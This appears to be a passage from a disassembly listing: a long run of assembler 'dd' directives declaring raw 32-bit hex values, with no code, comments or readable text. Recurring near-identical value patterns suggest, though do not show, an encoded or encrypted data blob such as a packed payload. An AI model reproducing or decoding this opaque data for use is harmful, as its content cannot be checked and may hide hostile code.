		dd 1DCAB4E6h, 0F7B757Dh, 6E68C135h, 0A9EA6941h,	2FF8606Fh
		dd 8FBEE704h, 0AD2220Bh, 75D4EE85h, 0E9C38A82h,	0D73D7B78h
		dd 4C577531h, 0D21D6DCBh, 0C0F3526Dh, 98C95DD9h, 0BE22804Dh
		dd 76FECB4h, 0DA5DEF1h,	8ED8BE4Dh, 1DB1F2Ah, 0F5FC2EE8h
		dd 1EDEBD7Fh, 0FD165B6Dh, 0CAAF2C40h, 5B07884Eh, 29E491A5h
		dd 0C72B5C5Eh, 0C147C60Ah, 0CA3E45F8h, 0C214533Dh, 0C2291447h
		dd 0CC44B24Ch, 32651A3Ch, 14CABFF3h, 13464627h,	403BFA35h
		dd 0B4D36360h, 10C17171h, 0EFCB9D79h, 0EE4F6B09h, 2E6AB5CAh
		dd 0FDCE95B1h, 865233DFh, 7D047A61h, 0D8176EC9h, 0E0FF0D2Ch
		dd 0FB8E309Dh, 5546392Dh, 0D3560B14h, 20F90DECh, 93EAB378h
		dd 5EA5323h, 0E8EC5BEDh, 48E8B964h, 0E44BD34Dh,	0D6C0FF09h
		dd 0EABE7D5h, 5F71961Dh, 933D1A1Bh, 0A6379960h,	801561CBh
		dd 0AD280026h, 90CE055Dh, 8486BD18h, 0C35BA772h, 0E184ECD3h
		dd 426B716Ah, 4A448514h, 0FFCB4245h, 1FFD492Ah,	703B846h
		dd 1226F5Ah, 1A939678h,	0D1E2FD36h, 0DC786D37h,	5B5D7823h
		dd 0B50079D9h, 0BFFF0753h, 5FCD7788h, 781D32D6h, 1A2322B3h
		dd 6DA5C8DAh, 95E6C11Ch, 4FA00B28h, 9BA33EBFh, 2CCE8F53h
		dd 0BFAEEB17h, 9CC0684Ch, 53A2B5C0h, 49A1C5ADh,	0FA650103h
		dd 9511EE63h, 0E5371FCDh, 0CCD90746h, 0FCDFCC3Ch, 0AF630070h
		dd 0A4573335h, 28C6A4F5h, 492F086Ch, 9D76FD6Ch,	0E7E7625Bh
		dd 0C7DE6068h, 73078E73h, 85AA0653h, 567DFE43h,	9CF9E1Eh
		dd 0DF086096h, 55536C34h, 0B70075E3h, 8CF32B3Fh, 67DE95B8h
		dd 0F12922C0h, 0AF7CBA29h, 2DEA1CD4h, 85FFBC71h, 6F3F10Eh
		dd 0C7E462FDh, 5E82C61h, 0F6E71B31h, 0D4E2A0F1h, 721EF40h
		dd 0B70850Ah, 0F3104055h, 0AA59DC27h, 0BC0F3DDBh, 0D2BB246Ch
		dd 286BF447h, 0EADC6147h, 6B768A2Bh, 0B9D6BF8Ah, 51271838h
		dd 9C7EE669h, 0B1813D0Ah, 0F03D6B7Ah, 0FA66887Eh, 0AE31D3Fh
		dd 77F1E835h, 5B9099D5h, 9C3C5205h, 0BF4C6A34h,	0FC1C7BF5h
		dd 0C7F3403Bh, 0AF7F337h, 0B535C902h, 4960F1A1h, 27ED88A6h
		dd 82EDA934h, 40FAEE3Bh, 0B2EC3B80h, 0CDC7932h,	0E4CD4D20h
		dd 9E272FD5h, 76CF150h,	5BB2D89Dh, 0D13A475Eh, 0D815A93Ch
		dd 0BBE523FEh, 0BCC8C671h, 6F65D821h, 4A40B24Ch, 257C1C58h
		dd 6781EC9Dh, 706C6B72h, 8834AF78h, 0CBA30D25h,	971E7158h
		dd 0A90A9B09h, 86327515h, 627CF013h, 589098B6h,	827D4AD9h
		dd 0C834688Dh, 86067DD4h, 36EC0266h, 229FC133h,	7127CB42h
		dd 8025DF2Eh, 22E2CBEFh, 84F12067h, 9BABB72h, 0CB87E485h
		dd 8C36D5Bh, 0A9818D10h, 8448EDBDh, 6CAEB95h, 8B88B12h
		dd 0CAE13731h, 896ECE6Eh, 0D68B37A9h, 95E5DA54h, 50F4B266h
		dd 1BCCBD1Ah, 0C87B8111h, 65CCB791h, 0B5222E61h, 80428F17h
		dd 8D45463h, 0FC4D255Eh, 2EABCD57h, 66B20BDh, 7CE3F40Ch
		dd 79A0DEBCh, 0FD082ACAh, 0C473203Ah, 854078A9h, 3CABB81Ch
		dd 9B9A6C13h, 7865E5DEh, 1A265EAEh, 66E94BBFh, 92BED161h
		dd 60B09B54h, 5BA6015Fh, 6C2C3948h, 9C51CB24h, 58E2BB0Bh
		dd 5ACB82F0h, 6F1F9AA0h, 4EBFD6C4h, 0DE0A5B4Eh,	0E0B119C2h
		dd 0FD947CFCh, 0F8DF3108h, 1C3435B5h, 62ED9088h, 0DEAFBF42h
		dd 75822CCh, 0D129CF15h, 844CF8C1h, 326C0557h, 10E29EDCh
		dd 0F7C220F0h, 919EDF1h, 6EAA80ABh, 0A6585AFFh,	0D03E11D4h
		dd 0F4723816h, 2E9BEC41h, 9BBF3438h, 8D45F7CEh,	0E30306D8h
		dd 538043E7h, 0F19BDE63h, 70B15024h, 0B458BD44h, 7C2EAAD2h
		dd 9C551B27h, 0B715B896h, 4AA4F2B2h, 6F418EE9h,	0A0FC5859h
		dd 0CFF22C9Dh, 0E1A107EEh, 104BE061h, 0F41F626Ah, 4B4605Ah
		dd 9A139CE5h, 0B8AEA2FDh, 435A386Dh, 492DFC87h,	5B4B74ADh
		dd 21C76C4h, 0D0829F2Eh, 778220D2h, 899ED19h, 6FAA80B8h
		dd 0A4585ADDh, 0CC3E1160h, 0EC72396Eh, 3E9BEB41h, 0FBBF3728h
		dd 0CD45F4FEh, 63030555h, 53804116h, 0F19BDA82h, 70B1584Ah
		dd 0B458AD2Ah, 7C2E8A3Ah, 9C555BECh, 0B7143856h, 4AA5F212h
		dd 6F438F89h, 0A0F85E59h, 0CFFA202Ch, 0E1D11FEEh, 102B9061h
		dd 0F45F026Ah, 535A04Ah, 9B131C15h, 0BAADA598h,	5F5C387Dh
		dd 5121FC77h, 4B43745Dh, 620C7624h, 90A29FDEh, 0F6422022h
		dd 819EDE8h, 6CAA8049h,	9A585A33h, 0C83E118Ch, 0E4723986h
		dd 4E9BEBA1h, 0DBBF37F8h, 0D45F44Eh, 0E3030424h, 53804716h
		dd 0F19BD67Dh, 70B14058h, 0B458DD2Eh, 7C2EEAAAh, 9C549BDCh
		dd 0B714B836h, 4AA6F35Dh, 6F458809h, 0A0F45C82h, 0CFE22488h
		dd 0E1C1174Ah, 100B80BAh, 0F59F226Ah, 5B5E0BAh,	98109CDBh
		dd 0A4ACA598h, 5B5E387Dh, 5925FC77h, 3B5B745Dh,	423C7685h
		dd 5F429F6Fh, 76022092h, 0B99ED59h, 6DAA80C7h, 98585A80h
		dd 0C43E1139h, 1C72393Fh, 5E9BEB20h, 3BBF3729h,	4D45F53Ch
		dd 63030315h, 53804550h, 0F19BD2CDh, 70B148FFh,	0B458CDD2h
		dd 7C2ECA0Ah, 9C54DBCCh, 0B7173806h, 4AA7F392h,	6F478989h
		dd 0A0F05259h, 0CFEA382Ch, 0E1F1EFEEh, 11EBB061h, 0F5D8C26Ah
		dd 635204Ah, 99101CE8h,	9586FDDAh, 47504B2Fh, 31398F14h
		dd 3B53073Dh, 0B22C0552h, 0F62ECB5h, 0E6C25351h, 1B199E85h
		dd 6C6997Dh, 8E58652Fh,	99702DA5h, 47726E9Ah, 2BD4D6ACh
		dd 0BBF608Eh, 9D4586AFh, 0CFC8EB9h, 43803883h, 0E19BBD1Dh
		dd 60B1432Eh, 0A4588EB4h, 6C2F5960h, 8C5468DEh,	0A717CA94h
		dd 5AA09F30h, 7F49F96Bh, 0B0EC233Bh, 0DFD24F4Eh, 0F1E1948Ch
		dd 1CBD303h, 0E5189108h, 16B51328h, 0F611EF77h,	0B0AAD6FAh
		dd 43524B1Fh, 0C6C270EAh, 0B6B073Fh, 82DC8C1Bh,	0CF02ECBDh
		dd 66825341h, 18999E85h, 73BAF306h, 8C482947h, 0EC2E62F2h
		dd 1C624ACCh, 6EAB99A3h, 6B8F450Ah, 0DD55815Fh,	731372D6h
		dd 43903A92h, 0E18BB90Ch, 60A14B30h, 0A4489F58h, 6C3F0768h
		dd 8C4414DEh, 0A70672A4h, 5AE1AF60h, 7FCB186Bh,	0B068E5BBh
		dd 0DF5AC3CEh, 0F28E8C0Ch, 1152383h, 0E624F188h, 17C2D3A8h
		dd 0F7026FF7h, 0B28AD6F9h, 0BF974B1Ch, 21B28F17h, 1C60073Ch
		dd 0F44C0555h, 8BA2EC3Dh, 0E9C253C1h, 2A999E04h, 50A0F31Dh
		dd 42522953h, 683462D4h, 147A4ACCh, 9E939888h, 4BB74510h
		dd 1D4D8123h, 0F30B7345h, 43883D7Ah, 0E193BAF3h, 60B948EAh
		dd 0A4509CC4h, 6C270578h, 8CD4107Eh, 0A7967A54h, 5A21BE30h
		dd 7F4D476Dh, 0B0EEA73Dh, 0DFDD4748h, 0F20B8488h, 1933307h
		dd 0E6A4D10Ch, 174E932Ch, 0F76AEF73h, 0B2ECD6FEh, 0BFD24B1Bh
		dd 20318F10h, 1D7F073Bh, 0F6F80552h, 9742EC3Dh,	0F18253C1h
		dd 3D999E94h, 31AAF317h, 582959h, 0E43E62DEh, 2C724AC5h
		dd 8E9B9881h, 0ABBF4506h, 5D458137h, 73037355h,	43803D61h
		dd 0E19BBADAh, 60B148A4h, 0A4589D40h, 6C2F0288h, 8C5412EEh
		dd 0A7167EF4h, 5AA1B6F0h, 7F4B56EBh, 0B0E9793Bh, 0DFDB3B4Eh
		dd 0F20C3C8Ch, 1960303h
		dd 0E6A23108h, 174E5328h, 0F7666F77h, 0B2C7D6FAh, 0BE084B1Fh
		dd 20898F14h, 1EF3073Fh, 0F7EC0556h, 95E2ECBDh,	0FDC25341h
		dd 45199E84h, 26AAF317h, 0E6582959h, 0A03E62DFh, 0A4724AC5h
		dd 0BE9B98BEh, 8BBF4507h, 9D458131h, 0F3037359h, 43803D59h
		dd 0E19BBAC9h, 60B14886h, 0A4589D04h, 6C2F0300h, 8C541D1Eh
		dd 0A7167D14h, 5AA1B530h, 7F4B556Bh, 0B0E97B3Bh, 0DFDB3F4Eh
		dd 0F20C348Ch, 1961303h, 0E6A21108h, 174E1328h,	0F767EF77h
		dd 0B2C6D6FAh, 0BE0A4B1Fh, 208D8F14h, 1E8B073Fh, 0F79C0556h
		dd 9582ECBDh, 0FD825341h, 44999E84h, 37AA63C0h,	0F458BD5Eh
		dd 0AC3EF6D8h, 0AC72DEC2h, 0BE9B0869h, 0FBBFD5D0h, 0CD4511E6h
		dd 6303E38Eh, 5380A95Fh, 0F19B3794h, 70B1C553h,	0B4580DCFh
		dd 7C2F93CFh, 9C548DD9h, 0B716E933h, 4AA138BBh,	6F4BC0ECh
		dd 0A0E9E93Ch, 0CFDBA749h, 0E20CB88Bh, 1196F29Ah, 0F6A2FE6Bh
		dd 74F41F9h, 0E767FB70h, 0A2C542FDh, 0AE0CD830h, 30811B13h
		dd 0E83885Ch, 0E78C9151h, 85A278BAh, 0EC42DC22h, 286CF0ACh
		dd 24AADA7Bh, 0DA780979h, 981E42FFh, 94526AE5h,	0FEBBB89Eh
		dd 0EB9F6527h, 3D65A111h, 0D3235378h, 63A01D78h, 0D1AB8AB7h
		dd 508178AAh, 9468AD2Ch, 5C1F3320h, 0BC642D0Eh,	97264D64h
		dd 6A918480h, 4F7B635Bh, 0B0E97F0Bh, 0DFDB374Eh, 0F20C248Ch
		dd 1967302h, 0E6A2510Ah, 0F74F9328h, 17660F76h,	52C036F9h
		dd 5E08AB1Ah, 0C08D6F13h, 0FE91E736h, 17B0E55Dh, 744C0CB0h
		dd 1C12B34Eh, 0A78B7E95h, 0C5BE1304h, 184EC94Ch, 542682C8h
		dd 2C68AADCh, 2E8778A5h, 0CBA1A51Ah, 0BD65612Fh, 93219379h
		dd 0A3A4DD74h, 1BD5A93h, 8099A8BBh, 44727D39h, 8C03E303h
		dd 6C7AFD03h, 47269D5Bh, 0BA9354C1h, 9F7FB2D8h,	50DF910Eh
		dd 3FE3CB79h, 1236BCB5h, 0E1AAA338h, 69D5135h, 0F70FB317h
		dd 17268F36h, 528736B9h, 5E46AB5Ah, 0C0D16F53h,	0FED9E776h
		dd 17E0E51Dh, 742C0CF0h, 1C92B30Eh, 0A74B7ED5h,	0FAFE1344h
		dd 1E0EC90Ch, 50668288h, 2428AA9Ch, 1EC778E5h, 0EBE1A55Ah
		dd 7D25616Fh, 13619339h, 0A3E4DD34h, 1FD5AD0h, 80D9A8F9h
		dd 44327D7Dh, 8C43E34Bh, 6C3AFD33h, 47669CFBh, 0BAD35341h
		dd 9F3FB118h, 509F934Eh, 3FA3CF39h, 1276B4F5h, 0E1EAB378h
		dd 6DD7175h, 0F7CFF357h, 17E70FF6h, 52463679h, 5E84AB9Ah
		dd 0C0156F93h, 0FE21E7B6h, 8D0E5DDh, 748C0C30h,	1C12B3CEh
		dd 0A60B7E15h, 0FB3E1384h, 1CCEC9CCh, 0ACA68248h, 3CE8AA5Ch
		dd 0E077825h, 8B21A59Ah, 3DE561AFh, 93A193F9h, 0A324DDF5h
		dd 13D5A11h, 8019A837h,	44F27D81h, 8C83E393h, 6CFAFDE3h
		dd 47A69C1Bh, 0BA1353C1h, 9FFFB058h, 505F958Eh,	3F63C3F9h
		dd 12B6AC35h, 0E12D43B8h, 61D11B5h, 0F78C3397h,	17A78FB6h
		dd 52053639h, 5EC2ABDAh, 0C0596FD3h, 0FE69E7F6h, 880E59Dh
		dd 74EC0C70h, 1F92B38Eh, 0A6CB7E55h, 0F87E13C4h, 128EC98Ch
		dd 0A8E68208h, 34A8AA1Ch, 0FE477865h, 0AB61A5D9h, 0FDA561EFh
		dd 13E193BEh, 0A364DDB5h, 17D5A56h, 8059A875h, 44B27DC5h
		dd 8CC3E3DBh, 6CBAFD93h, 47E69C3Bh, 0BA535241h,	9FBFBF98h
		dd 501F97CEh, 3F23C7B9h, 12F6A475h, 0E16D53F8h,	65D31F5h
		dd 174C73D7h, 0F70CEF5Fh, 0B2ACD68Fh, 0BE2F4B73h, 20958F14h
		dd 2D89360Fh, 0DF4A3062h, 0F6A3D585h, 99673722h, 7BA8AE84h
		dd 2F9FC724h, 0B161116Eh, 17A219Dh, 0EC724A83h,	0E9B98BEh
		dd 0EB9B4504h, 5D458130h, 335A735Fh, 43803D55h,	0A15832B2h
		dd 60B14894h, 0E5CF4AA4h, 5BCF8348h, 0CF15DE17h, 121312E3h
		dd 1C320A45h, 9674A71Eh, 0FDD12638h, 26EBC67Ch,	0A88E0BC4h
		dd 7EE23C3Fh, 93B67ED5h, 174C5328h, 0B6F5B8F3h,	0B2CFD6FAh
		dd 81E84B1Fh, 20A98F14h, 1EB3073Fh, 0DB5E3466h,	0A3D4D989h
		dd 0BD836A79h, 0F5CDAC7h, 2C9BC317h, 0C06D1D6Ah, 21075AE8h
		dd 811629A7h, 70D298D8h, 0E5D64542h, 0DC0B8156h, 926D7311h
		dd 43803D3Bh, 0F19B14F9h, 70B1E6F5h, 0B458331Bh, 7C2FAD23h
		dd 9C54B2B4h, 0B716CD77h, 4AA11F06h, 6F4BF308h,	0A0E9C558h
		dd 0CFDB711Fh, 0D22159ACh, 6CE3F677h, 92C27F61h, 1D2B7D41h
		dd 900A9C77h, 92A2B794h, 0DB6E4B3Ch, 4EC4E266h,	7122735Eh
		dd 8D6E2538h, 0E7E799CCh, 91EB5335h, 21F5FFF2h,	6BD9D373h
		dd 93395B36h, 3F5F42BAh, 8F012FA6h, 5AF5F1BEh, 9ECD3761h
		dd 0B22CF540h, 1D6A7331h, 2AEC5C22h, 99FE9AD4h,	14C42A0Dh
		dd 0C134F959h, 8406C78h, 0FE3504EBh, 0CA7E675Dh, 39C8A515h
		dd 0D38F9CBh, 0D1E99F54h, 0ABAABC2Ch, 0F20A6C8Ch, 19DE303h
		dd 0E6AB7108h, 175DD328h, 0F7436F47h, 0B30DF8FAh, 0BE9C4B1Fh
		dd 23A18F14h, 0E043073Fh, 0EC0C0549h, 9CA2ECBDh, 8E425341h
		dd 68199E84h, 0DCAAF317h, 4A582958h, 583E62DFh,	0F4724ACAh
		dd 5E9B98BCh, 0CBBF4500h, 1D458138h, 0F303736Eh, 43803D34h
		dd 0E19BBB7Fh, 60B14EEAh, 0A458993Ch, 6C2F0B50h, 8C540CBEh
		dd 0A7160354h, 5AA1F0B0h, 7F4ADB6Bh, 0B0EA6F3Bh, 0DFD9D74Eh
		dd 0F208648Ch, 199F303h, 0E6B35108h, 176D9328h,	0F4A0EF77h
		dd 0B34CD6FAh, 0BD1E4B1Fh, 22A58F14h, 0E25B073Fh, 0E03C0549h
		dd 6342ECBDh, 9E025346h, 8B999E84h, 9DAAF310h, 93037202h
		dd 0F653983h, 0C721190h, 4E9B98BAh, 2BBF450Ch, 5D458103h
		dd 7303737Eh, 43803D13h, 0E19BBB3Eh, 60B14F6Ch,	0A4589730h
		dd 6C2F1768h, 8C57F4AEh, 0A7163374h, 5AA210F0h,	7F4A1AEBh
		dd 0B0EAE13Bh, 0DFDECB4Eh, 0F2069C8Ch, 185C30Bh, 0E684B118h
		dd 177D5308h, 0F4806F37h, 0B38BD67Ah, 0BD904A1Fh, 2DB98D14h
		dd 0E453033Fh, 0E42C0549h, 6B62ECBDh, 0B7515666h, 0AB199E84h
		dd 52AAF310h, 4E582958h, 403F6730h, 14734F18h, 6E9A9D00h
		dd 1BBE40A8h, 9D45810Bh, 0F303730Eh, 43803CF3h,	0E19BB4FDh
		dd 60B14CEEh, 0A4589534h, 6C2F1360h, 8C57FCDEh,	0A7162294h
		dd 5AA24F30h, 7F4A596Bh, 0B0EB633Bh, 0DFDFCF4Eh, 0F204948Ch
		dd 181D303h, 0E68C9108h, 178D1328h, 0F4E1EF77h,	0B3CAD6FAh
		dd 0BC124B1Fh, 2CBD8F14h, 0E66B073Fh, 0D8DC0549h, 7302ECBDh
		dd 0BE825346h, 0CA999E84h, 13AAF310h, 0CC582959h, 6C3E62D9h
		dd 0C72BB41h, 7E9B693Fh, 7BBFB4FCh, 0CD45709Bh,	63038296h
		dd 5380CD5Ah, 0F19B45D4h, 60B14D60h, 0A45892C8h, 6C2F1178h
		dd 8C57F8CEh, 0A7162AB4h, 5AA25F70h, 7F4A78EBh,	0B0EB253Bh
		dd 0DFDC434Eh, 0F2058C8Ch, 1832B01h, 0E688F109h, 79A22FCh
		dd 0E4D19EA2h, 0AC29272Eh, 0AC54BACBh, 3F317EC0h, 0F763F6EBh
		dd 0CACCF4FDh, 7F22ECBDh, 41425346h, 0DA199E84h, 0F0AAF310h
		dd 8258295Bh, 0E83E62D9h, 14724ACEh, 9E9B98B7h,	4BBF4572h
		dd 1D45811Fh, 0F3037B27h, 43803CC0h, 0F19B446Bh, 70B1BC62h
		dd 0B45863BCh, 7C2FEF80h, 9C57140Eh, 0B71620F4h, 4AA29CB0h
		dd 7F4DA76Bh, 0B0EBE73Bh, 0DFDCC74Eh, 0F202848Ch, 18D3303h
		dd 0E694D108h, 17A29328h, 0F43EEF77h, 0BC08D6FAh, 0BC964B1Fh
		dd 3FB57E54h, 0F87BF6B3h, 0CCFCF491h, 7BC2ECBDh, 49025346h
		dd 0ED999E84h, 0D1AAF310h, 4058295Bh, 643E62D9h, 2C724ACEh
		dd 8E9B98B4h, 0ABBF4570h, 5D45811Bh, 7303732Dh,	43803CB1h
		dd 0E19BB57Ah, 60B152E4h, 0A45890C0h, 6C2F1C88h, 8C57E6EEh
		dd 0A716D6F4h, 5AA266F0h, 7F4DB6EBh, 0B0EBB93Bh, 0DFDCBB4Eh
		dd 0F2033C8Ch, 18C0303h
		dd 0E6963108h, 17A65328h, 0F4366F77h, 0BC67D6FAh, 0BCC84B1Fh
		dd 2E098F14h, 0E9F3073Fh, 0DDEC0549h, 79E2ECBDh, 55C25346h
		dd 0F5199E84h, 0C6AAF310h, 2658295Bh, 203E62D9h, 0A4724ACEh
		dd 0BE9B98B5h, 8BBF4571h, 9D4580E5h, 0F3037D31h, 438020A9h
		dd 0E19A4D69h, 60B162C6h, 0A45B7084h, 6C2FDD00h, 8C57611Eh
		dd 0A711D514h, 5AAC6530h, 7F51B56Bh, 0B0E3BB3Bh, 0DFCCBF4Eh
		dd 0F223348Ch, 14C1303h, 0E6161108h, 18A61328h,	0F237EF77h
		dd 0B866D6FAh, 0B4CA4B1Fh, 1E0D8F14h, 0C98B073Fh, 1D9C0549h
		dd 0F982ECBDh, 55825346h, 0F4999E87h, 0C7AAF312h, 2458295Fh
		dd 3C3E62D1h, 0BC724ABEh, 0AE9B9955h, 0EBBF4AB1h, 0DD458365h
		dd 73037F31h, 438024A8h, 0E19A4568h, 60B172D8h,	0A45B5098h
		dd 6C2F9D18h, 8C56E10Eh, 0A710D534h, 5AAE6570h,	7F55B4EBh
		dd 0B0DBBD3Bh, 0DF3CB34Eh, 0F2432C8Ch, 10C6303h, 0E7967108h
		dd 19A7D328h, 0F0376F77h, 8465D6FAh, 0ACCC4B1Fh, 0E018F14h
		dd 0A983073Fh, 5D8C0549h, 79A2ECBDh, 54425347h,	0F4199E86h
		dd 0C4AAF31Ch, 3A582923h, 383E62C9h, 0B4724AAEh, 0DE9B9975h
		dd 0CBBF4AF1h, 1D4582E5h, 0F3037930h, 438028A8h, 0E19A5D57h
		dd 60B182DAh, 0A45B309Ch, 6C285D10h, 8C56613Eh,	0A713D554h
		dd 5AA864B0h, 7F59B36Bh, 0B0D3BF3Bh, 0DF2CB74Eh, 0F263248Ch
		dd 1ECC7303h, 0E7165108h, 1AA79328h, 0FE34EF77h, 8064D6FAh
		dd 0A4CE4B1Fh, 0FE058F14h, 899B073Fh, 9DBC0549h, 0F842ECBEh
		dd 54025347h, 0F7999E81h, 0C5AAF31Eh, 38582927h, 343E62C1h
		dd 0CC724A9Eh, 0CE9B9915h, 2BBF4B31h, 5D459D64h, 73037B30h
		dd 43802CA7h, 0E19A5556h, 60B192DCh, 0A45B1090h, 6C281D28h
		dd 8C59E12Eh, 0A712D574h, 5AAA64F0h, 7F5DB2EBh,	0B0CBB13Bh
		dd 0DF1CAB4Eh, 0F2835C8Ch, 1E8C4303h, 0E097B108h, 1BA75328h
		dd 0FC346F77h, 8C63D6FAh, 9CC04B1Fh, 0EE198F14h, 6993073Fh
		dd 0DDAC0549h, 7862ECBEh, 54C25344h, 0F7199E80h, 0BAAAF318h
		dd 3E58292Bh, 303E6339h, 0C4724C8Eh, 0FE9B9535h, 0BBF5371h
		dd 9D45ECE4h, 0F3032530h, 4381D0A7h, 0E19AED55h, 60B2A2DEh
		dd 0A45DF094h, 6C24DD20h, 8C41615Eh, 0A73DD494h, 5B746330h
		dd 7EE1B16Bh, 0B043B33Bh, 0DC0CAF4Eh, 0ECA3548Ch, 1A4C5303h
		dd 0E8179108h, 6CA71328h, 0DA35EF77h, 4862D6FAh, 14C24B1Eh
		dd 0DE1D8F14h, 49AB0720h, 1E5C054Bh, 0F802ECBAh, 5482534Ch
		dd 0F6999EB3h, 0BBAAF37Ah, 3C5828EFh, 0CC3E64B1h, 0DC724F7Fh
		dd 0EE9B96D5h, 6BBF50B1h, 0DD45EF64h, 73032730h, 4381D4A6h
		dd 0E19AE554h, 60B2B2D0h, 0A45DD0A8h, 6C249D38h, 8C40E14Eh
		dd 0A73CD4B4h, 5B766370h, 7EE5B0EBh, 0B03BB53Bh, 0DC7CA34Eh
		dd 0ECC34C8Ch, 1A0FA303h, 0E997F108h, 6DA4D328h, 0D8356F77h
		dd 5461D6FAh, 0CC44B1Eh, 0CE118F14h, 29A30720h,	5E4C054Bh
		dd 7822ECBAh, 5742534Dh, 0F6199EB2h, 0B8AAF364h, 325828F3h
		dd 0C83E64A9h, 0D4724F6Fh, 1E9B96F5h, 4BBF50FEh, 1D45EEE4h
		dd 0F3032137h, 4381D8A6h, 0E19AFD53h, 60B2C2D2h, 0A45DB0ACh
		dd 6C255D30h, 8C40617Eh, 0A73FD4D4h, 5B7062B0h,	7EE9BF6Bh
		dd 0B033B73Bh, 0DC6CA74Eh, 0ECE3448Ch, 1BCFB303h, 0E917D108h
		dd 6EA49328h, 0C632EF77h, 5060D6FAh, 4C64B1Eh, 41EA70EBh
		dd 0C9BB0725h, 9E7C0540h, 38C2ECA6h, 57025349h,	39999E3Bh
		dd 0B9AAF362h, 0F058287Ah, 0C43E64A9h, 2C724FD1h, 0E9B969Dh
		dd 6BBF51B1h, 5D45E96Ch, 0B30323A7h, 4381DCADh,	219AF5C3h
		dd 60B2D2DCh, 645D9032h, 6C251D40h, 4C43E1FDh, 0A73ED4FCh
		dd 5B7262F0h, 7EEDBEEBh, 0B02BA93Bh, 0DC5D5B4Eh, 0ED037C8Ch
		dd 1B8F8303h, 0EA973108h, 6FA45728h, 0C4326F77h, 5C6FD6FAh
		dd 7CD84B1Eh, 0AE298F14h, 0E9B30720h, 0DE6C054Ah, 78E2ECBBh
		dd 57C25372h, 0F9199EACh, 0BEAAF360h, 365828FBh, 0C03E6499h
		dd 0E4724F4Fh, 3E9B96B5h, 8BBF517Eh, 9D45E8E4h,	0F3032D37h
		dd 4381C0A5h, 0E19A8D51h, 60B2E2D6h, 0A45C70A4h, 6C25DD40h
		dd 8C43609Eh, 0A739DB14h, 5B7C6130h, 7EF1BD6Bh,	0B023AB3Bh
		dd 0DC4D5F4Eh, 0ED23748Ch, 1B4F9303h, 0EA171108h, 70A41328h
		dd 0C233EF77h, 586ED6FAh, 74DA4B1Eh, 9E2D8F14h,	0C94B0720h
		dd 1E1C054Ah, 0F882ECBBh, 57825372h, 0F8999EAFh, 0BFAAF362h
		dd 345828FFh, 0DC3E6491h, 0EC72A81Fh, 2E9B9755h, 0EBBF56BEh
		dd 0DD45EB64h, 73032F37h, 4381C4A4h, 0E19A8550h, 60B2F2A8h
		dd 0A45C50B8h, 6C259D58h, 8C42E08Eh, 0A738DB34h, 5B7E6170h
		dd 7EF5BCEBh, 0B01BAD3Bh, 0DDBD534Eh, 0ED436C8Ch, 1B0FE303h
		dd 0EB977108h, 71A5D328h, 0C0336F77h, 246DD6FAh, 6CDC4B1Eh
		dd 8E218F14h, 0A9430720h, 5E0C054Ah, 78A2ECBBh,	56425373h
		dd 0F8199EAEh, 0BCAAF36Ch, 0A5828C3h, 0D83E6489h, 0F4724F2Fh
		dd 5E9B9775h, 0CBBF56FEh, 1D45EAE4h, 0F3032936h, 4381C8A4h
		dd 0E19A9D5Fh, 60B302AAh, 0A45C30BCh, 6C265D50h, 8C4260BEh
		dd 0A73BDB54h, 5B7860B0h, 7EF9BB6Bh, 0B013AF3Bh, 0DDAD574Eh
		dd 0ED63648Ch, 18CFF303h, 0EB175108h, 72A59328h, 0CE30EF77h
		dd 206CD6FAh, 64DE4B1Eh, 7E258F14h, 895B0721h, 9E3C054Ah
		dd 0C742ECB4h, 56025373h, 0FB999EA9h, 0BDAAF36Eh, 85828C7h
		dd 0D43E6481h, 0C724F1Fh, 4E9B9715h, 2BBF573Eh,	5D45E567h
		dd 73032B36h, 4381CCA3h, 0E19A955Eh, 60B312ACh,	0A45C10B0h
		dd 6C261D68h, 8C45E0AEh, 0A73ADB74h, 5B7A60F0h,	7EFDBAEBh
		dd 0B00BA13Bh, 0DD9D4B4Eh, 0ED839C8Ch, 188FC353h, 9490B108h
		dd 63A5B412h, 0CC306F77h, 2C6BD6F9h, 4CD0A108h,	6E398F14h
		dd 69530721h, 0DE2C054Ah, 4762ECB4h, 56C25370h,	0FB199EA8h
		dd 0B2AAF368h, 0E5828CBh, 0D03E64F9h, 4724F0Fh,	7E9B9735h
		dd 0BBF577Eh, 9D45E4E7h, 0F3033536h, 4381B0A3h,	0F19A474Bh
		dd 60B322AEh, 0A45CF0B4h, 6C26DD60h, 8C4560DEh,	0A735DA94h
		dd 5B647F30h, 7EC1B96Bh, 0B003A33Bh, 0DD8D4F4Eh, 0EDA3948Ch
		dd 184FD303h, 94109108h, 74A51328h, 0CA31EF77h,	286AD6FAh
		dd 44D2A108h, 5E3D8F14h, 496B0721h, 1EDC054Ah, 0C702ECB4h
		dd 56825370h, 0FA999EABh, 0B3AAF36Ah, 0C5828CFh, 0EC3E64F1h
		dd 1C724EFFh, 6E9B90D5h, 6BBF54BEh, 0DD45E767h,	73033736h
		dd 4381B4A2h, 0F19A4F4Ah, 60B332A0h, 0A45CD148h, 6C269B78h
		dd 8C44ECCEh, 0A734C2B4h, 5B668F70h, 7EC5D8EBh,	0B3F4653Bh
		dd 0DDFDC34Eh, 0EDC08C8Ch, 18092303h, 959CF108h, 75B2D328h
		dd 0C8216F77h, 3449D6FAh, 5B14A682h, 5EB16288h,	3A63EABDh
		dd 40CCE8D6h, 53220128h, 4942BEEDh, 1A197336h, 0EFD58C2Bh
		dd 0BD2757ACh, 17411B95h, 14723190h, 8E9B7D6Fh,	5BBFB960h
		dd 0D450B7Fh, 0F303313Dh, 3C71B892h, 0E19ABD3Bh, 1F4B4362h
		dd 0A45C8ECCh, 50B75970h, 8C4468FEh, 9977CAD4h,	5B609EB0h
		dd 3EFB076Bh, 0B3EC273Bh, 0DDD2474Eh, 0EDE17E0Ch, 19CB3303h
		dd 9518D108h, 76BB93E6h, 360E131Bh, 30A82D53h, 43564B1Eh
		dd 39358F14h, 0B7A050Fh, 92FCF8DEh, 0CFC21745h,	61025371h
		dd 1D999EA5h, 71ABF1CEh, 8058D50Bh, 0E43E98B2h,	2C724EDCh
		dd 8E9B9093h, 0ABBE5782h, 5D451F53h, 7303CE9Dh,	4381BA81h
		dd 0E19AB91Ah, 60B24830h, 0A45C6104h, 6C270688h, 8C442AEEh
		dd 0A7364EF4h, 5B6196F0h, 7ECB16EBh, 0B3E80763h, 0DDDAC526h
		dd 0EE0EC208h, 19AAFD9Fh
		dd 955ACFBCh, 773EADECh, 370691A3h, 32872811h, 0BF88B5E6h
		dd 21897025h, 1CF3F83Fh, 0F3ECFA64h, 8DE213F5h,	0EDC2AC25h
